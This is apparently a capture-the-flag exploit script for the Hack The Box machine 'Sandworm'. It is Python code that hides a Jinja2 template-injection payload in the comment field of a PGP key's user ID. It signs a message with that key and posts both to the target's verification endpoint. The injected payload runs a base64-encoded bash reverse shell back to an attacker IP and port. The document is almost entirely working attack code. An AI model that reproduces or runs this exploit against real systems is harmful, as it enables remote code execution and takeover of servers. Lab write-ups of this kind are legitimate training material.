Created
June 19, 2023 00:16
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Sandworm - Foothold
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#!/usr/bin/env python3 | |
import requests | |
import pgpy | |
from pgpy.constants import PubKeyAlgorithm, KeyFlags, HashAlgorithm, SymmetricKeyAlgorithm, CompressionAlgorithm | |
from urllib3.exceptions import InsecureRequestWarning | |
import base64 | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
def createPGPKeysPayload(ssti_payload): | |
key = pgpy.PGPKey.new(PubKeyAlgorithm.RSAEncryptOrSign, 4096) | |
uid = pgpy.PGPUID.new('xl00t', comment=ssti_payload, email='xl00t@htb.local') | |
key.add_uid(uid, usage={KeyFlags.Sign, KeyFlags.EncryptCommunications, KeyFlags.EncryptStorage}, | |
hashes=[HashAlgorithm.SHA256, HashAlgorithm.SHA384, HashAlgorithm.SHA512, HashAlgorithm.SHA224], | |
ciphers=[SymmetricKeyAlgorithm.AES256, SymmetricKeyAlgorithm.AES192, SymmetricKeyAlgorithm.AES128], | |
compression=[CompressionAlgorithm.ZLIB, CompressionAlgorithm.BZ2, CompressionAlgorithm.ZIP, CompressionAlgorithm.Uncompressed]) | |
ct_message = pgpy.PGPMessage.new("useless", | |
cleartext=True) | |
ct_message |= key.sign(ct_message) | |
return (ct_message, key.pubkey) | |
def createRevShell(ip, port): | |
b64 = base64.b64encode(f"bash -i >& /dev/tcp/{ip}/{port} 0>&1".encode()).decode() | |
return f"echo {b64} | base64 -d | bash" | |
def main(): | |
revshell = createRevShell('10.10.14.253', 9001) | |
ssti_payload = f"{{{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system('{revshell}') }}}}" | |
signed_message, public_key = createPGPKeysPayload(ssti_payload) | |
payload = { | |
"signed_text": str(signed_message), | |
"public_key": str(public_key) | |
} | |
r = requests.post("https://ssa.htb/process", data=payload, verify=False) | |
print(r.text) | |
if __name__ == '__main__': | |
main() |
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